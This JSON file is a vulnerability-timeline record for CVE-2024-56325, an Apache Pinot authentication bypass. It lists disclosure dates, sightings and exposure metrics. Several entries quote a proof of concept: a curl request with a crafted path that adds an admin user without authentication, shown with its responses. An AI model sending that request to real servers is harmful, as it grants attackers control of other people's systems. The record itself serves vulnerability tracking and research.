{"metadata": {"vulnerability": "CVE-2024-56325", "count": 31, "kinds": {"milestone": 4, "sighting": 18, "kev": 0, "other": 9}}, "data": [{"timestamp": "2024-12-19T14:28:37.532Z", "date_only": false, "value": "2024-12-19T14:28:37.532Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2024-56325", "field": "cveMetadata.dateReserved"}, {"timestamp": "2025-03-03T05:00:00Z", "date_only": false, "value": "2025-03-03T05:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-109/", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "5960382b-7195-4d20-8c08-94454ce7e6e6", "url": "http://www.zerodayinitiative.com/advisories/ZDI-25-109/"}, {"timestamp": "2025-03-04T11:00:09.277Z", "date_only": false, "value": "2025-03-04T11:00:09.277985Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/vuldb/statuses/114103812642418026", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "000e5b73-4d87-49e9-ae82-2f4dc7ef1bac", "url": "https://infosec.exchange/users/vuldb/statuses/114103812642418026"}, {"timestamp": "2025-03-11T03:21:18.175Z", "date_only": false, "value": "2025-03-11T03:21:18.175758Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3lk34egd5mc2w", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "0d84828d-a8fd-4e58-9672-90dc7fded24c", "url": "https://bsky.app/profile/dinosn.bsky.social/post/3lk34egd5mc2w"}, {"timestamp": "2025-03-11T05:25:53.938Z", "date_only": false, "value": "2025-03-11T05:25:53.938762Z", "kind": "sighting", "label": "Seen", "source": "https://vulnerability.circl.lu/comment/a9f2cad3-dbfc-4703-9c5f-9af054301f88", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "42cbeb12-b2ef-47de-ab3d-8b8fb1197ede", "url": "https://vulnerability.circl.lu/comment/a9f2cad3-dbfc-4703-9c5f-9af054301f88"}, {"timestamp": "2025-03-11T07:31:00.897Z", "date_only": false, "value": "2025-03-11T07:31:00.897315Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lk3kczpmgc27", "record": "cve-2024-56325", "field": "creation_timestamp", "uuid": "0cb2dc2b-af99-48a1-944d-35c401d5c014", "url": "https://bsky.app/profile/shiojiri.com/post/3lk3kczpmgc27"}, {"timestamp": "2025-03-11T09:27:39.526Z", "date_only": false, "value": "2025-03-11T09:27:39.526456Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lk3qrtl7nar2", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "0af93022-602d-4194-baa4-fcf4f815f964", "url": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lk3qrtl7nar2"}, {"timestamp": "2025-03-27T18:39:53.177Z", "date_only": false, "value": "2025-03-27T18:39:53.177535Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3llex5sozja2r", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "47559415-ee1d-43d3-853f-33019e8b21be", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3llex5sozja2r"}, {"timestamp": "2025-03-31T04:27:09.066Z", "date_only": false, "value": "2025-03-31T04:27:09.066261Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3llnjekyxh226", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "f9e6cb66-24f4-475b-aeae-2229fc41406e", "url": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3llnjekyxh226"}, {"timestamp": "2025-04-01T09:07:14.185Z", "date_only": false, "value": "2025-04-01T09:07:14.185Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-56325", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2025-04-01T09:15:15Z", "date_only": false, "value": "2025-04-01T09:15:15Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-6JWP-4WVJ-6597", "record": "GHSA-6JWP-4WVJ-6597", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2025-04-01T09:15:15.240Z", "date_only": false, "value": "2025-04-01T09:15:15.240", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-56325", "record": "FKIE_CVE-2024-56325", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-04-01T09:30:20Z", "date_only": false, "value": "2025-04-01T09:30:20Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-6JWP-4WVJ-6597", "record": "GHSA-6JWP-4WVJ-6597", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2025-04-01T09:32:42Z", "date_only": false, "value": "2025-04-01T09:32:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9868", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "a92eca59-6eb9-41cf-b2fa-a9d543047228", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-56325\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.\n\ud83d\udccf Published: 2025-04-01T09:07:14.185Z\n\ud83d\udccf Modified: 2025-04-01T09:07:14.185Z\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v", "url": "https://t.me/DarkWebInformer_CVEAlerts/9868", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-01T10:03:56.094Z", "date_only": false, "value": "2025-04-01T10:03:56.094Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2024-56325", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2025-04-01T13:10:18.093Z", "date_only": false, "value": "2025-04-01T13:10:18.093633Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262869101590683", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "b2e2ba76-6802-4a18-a413-6faa89877407", "url": "https://infosec.exchange/users/cR0w/statuses/114262869101590683"}, {"timestamp": "2025-04-01T13:10:18.096Z", "date_only": false, "value": "2025-04-01T13:10:18.096768Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cR0w/statuses/114262869101590683", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "8600f9a0-5348-4dc9-9e62-799120b397db", "url": "https://infosec.exchange/users/cR0w/statuses/114262869101590683"}, {"timestamp": "2025-04-01T13:37:52Z", "date_only": false, "value": "2025-04-01T13:37:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cvedetector/21746", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "81c2a461-a786-4c8a-b3ff-76797cc36071", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-56325 - Apache Pinot Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-56325 \nPublished : April 1, 2025, 9:15 a.m. | 2\u00a0hours, 12\u00a0minutes ago \nDescription : Authentication Bypass Issue  \n  \nIf the path does not contain / and contain., authentication is not required.  \n  \nExpected Normal Request and Response Example  \n  \ncurl -X POST -H \"Content-Type: application/json\" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}  http://{server_ip}:9000/users   \n  \n  \nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}  \n  \n  \nMalicious Request and Response Example   \n  \ncurl -X POST -H \"Content-Type: application/json\" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .  \n  \n  \nReturn: {\"users\":{}}  \n  \n  \n  \n   \n  \nA new user gets added bypassing authentication, enabling the user to control Pinot. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"01 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "url": "https://t.me/cvedetector/21746", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-04-03T13:16:13Z", "date_only": false, "value": "2025-04-03T13:16:13.000000Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-56325.yaml", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "275142f2-e952-4d74-b6f8-e654b030b37d", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-56325.yaml"}, {"timestamp": "2025-04-04T21:02:08.920Z", "date_only": false, "value": "2025-04-04T21:02:08.920503Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llzctfed6c2p", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "29ac1eb7-2b88-41a1-8efc-f015a6aa32e8", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llzctfed6c2p"}, {"timestamp": "2025-04-10T20:53:12.140Z", "date_only": false, "value": "2025-04-10T20:53:12.140118Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lmif532gvs2p", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "94efbc0d-c553-48db-ae2f-2a8618c262d8", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lmif532gvs2p"}, {"timestamp": "2025-04-12T06:10:15.134Z", "date_only": false, "value": "2025-04-12T06:10:15.134152Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lmlupxwjxk24", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "a3537656-601a-4f5b-af48-b26dd41d6919", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lmlupxwjxk24"}, {"timestamp": "2025-04-18T14:23:26.095Z", "date_only": false, "value": "2025-04-18T14:23:26.095702Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-56325", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2025-04-18T14:23:26.095Z", "date_only": false, "value": "2025-04-18T14:23:26.095702Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-56325", "record": "FKIE_CVE-2024-56325", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2025-04-18T14:24:14.801Z", "date_only": false, "value": "2025-04-18T14:24:14.801Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2024-56325", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-27T17:11:08.160Z", "date_only": false, "value": "2025-10-27T17:11:08.160Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2024-56325", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-27T17:11:08.160Z", "date_only": false, "value": "2025-10-27T17:11:08.160Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / apache", "record": "CVE-2024-56325", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-06-17T08:12:02.857Z", "date_only": false, "value": "2026-06-17T08:12:02.857", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-56325", "record": "FKIE_CVE-2024-56325", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-08-04T13:00:08.713Z", "date_only": false, "value": "2026-08-04T13:00:08.713797Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/purp_sec/358", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "57ecaa39-331c-48dd-a748-54b8327738e7", "url": "https://t.me/purp_sec/358"}, {"timestamp": "2026-08-05T00:00:26.584Z", "date_only": false, "value": "2026-08-05T00:00:26.584593Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/purp_sec/358", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "62e33ee6-91a6-4ee0-9688-babb84c44df6", "url": "https://t.me/purp_sec/358"}, {"timestamp": "2026-08-31T22:52:08Z", "date_only": false, "value": "2026-08-31T22:52:08Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-6JWP-4WVJ-6597", "record": "GHSA-6JWP-4WVJ-6597", "field": "modified", "linked_record": true}], "metrics": {"as_of": "2026-11-15T00:37:16.145Z", "anchors": {"origin": {"timestamp": "2025-04-01T09:07:14.185Z", "date_only": false, "value": "2025-04-01T09:07:14.185Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-56325", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2025-04-01T09:07:14.185Z", "date_only": false, "value": "2025-04-01T09:07:14.185Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-56325", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2025-04-01T09:32:42Z", "date_only": false, "value": "2025-04-01T09:32:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9868", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "a92eca59-6eb9-41cf-b2fa-a9d543047228", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-56325\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.\n\ud83d\udccf Published: 2025-04-01T09:07:14.185Z\n\ud83d\udccf Modified: 2025-04-01T09:07:14.185Z\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v", "url": "https://t.me/DarkWebInformer_CVEAlerts/9868", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": 1527.815, "hours": 0.42439305555555557, "days": 0.017683043981481482, "min_seconds": 1527.815, "max_seconds": 1527.815, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2025-04-01T09:07:14.185Z", "date_only": false, "value": "2025-04-01T09:07:14.185Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-56325", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2025-04-01T09:32:42Z", "date_only": false, "value": "2025-04-01T09:32:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9868", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "a92eca59-6eb9-41cf-b2fa-a9d543047228", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-56325\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.\n\ud83d\udccf Published: 2025-04-01T09:07:14.185Z\n\ud83d\udccf Modified: 2025-04-01T09:07:14.185Z\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v", "url": "https://t.me/DarkWebInformer_CVEAlerts/9868", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 51204601.960264, "hours": 14223.500544517778, "days": 592.645856021574, "min_seconds": 51204601.960264, "max_seconds": 51204601.960264, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2025-04-01T09:07:14.185Z", "date_only": false, "value": "2025-04-01T09:07:14.185Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2024-56325", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-11-15T00:37:16.145Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": 51203074.145264, "hours": 14223.076151462223, "days": 592.6281729775926, "min_seconds": 51203074.145264, "max_seconds": 51203074.145264, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2025-04-01T09:32:42Z", "date_only": false, "value": "2025-04-01T09:32:42.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9868", "record": "CVE-2024-56325", "field": "creation_timestamp", "uuid": "a92eca59-6eb9-41cf-b2fa-a9d543047228", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-56325\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Authentication Bypass Issue\n\nIf the path does not contain / and contain., authentication is not required.\n\nExpected Normal Request and Response Example\n\ncurl -X POST -H \"Content-Type: application/json\" -d {\\\"username\\\":\\\"hack2\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}  http://{server_ip}:9000/users \n\n\nReturn: {\"code\":401,\"error\":\"HTTP 401 Unauthorized\"}\n\n\nMalicious Request and Response Example \n\ncurl -X POST -H \"Content-Type: application/json\" -d '{\\\"username\\\":\\\"hack\\\",\\\"password\\\":\\\"hack\\\",\\\"component\\\":\\\"CONTROLLER\\\",\\\"role\\\":\\\"ADMIN\\\",\\\"tables\\\":[],\\\"permissions\\\":[],\\\"usernameWithComponent\\\":\\\"hack_CONTROLLER\\\"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .\n\n\nReturn: {\"users\":{}}\n\n\n\n \n\nA new user gets added bypassing authentication, enabling the user to control Pinot.\n\ud83d\udccf Published: 2025-04-01T09:07:14.185Z\n\ud83d\udccf Modified: 2025-04-01T09:07:14.185Z\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v", "url": "https://t.me/DarkWebInformer_CVEAlerts/9868", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-11-15T00:37:16.145Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}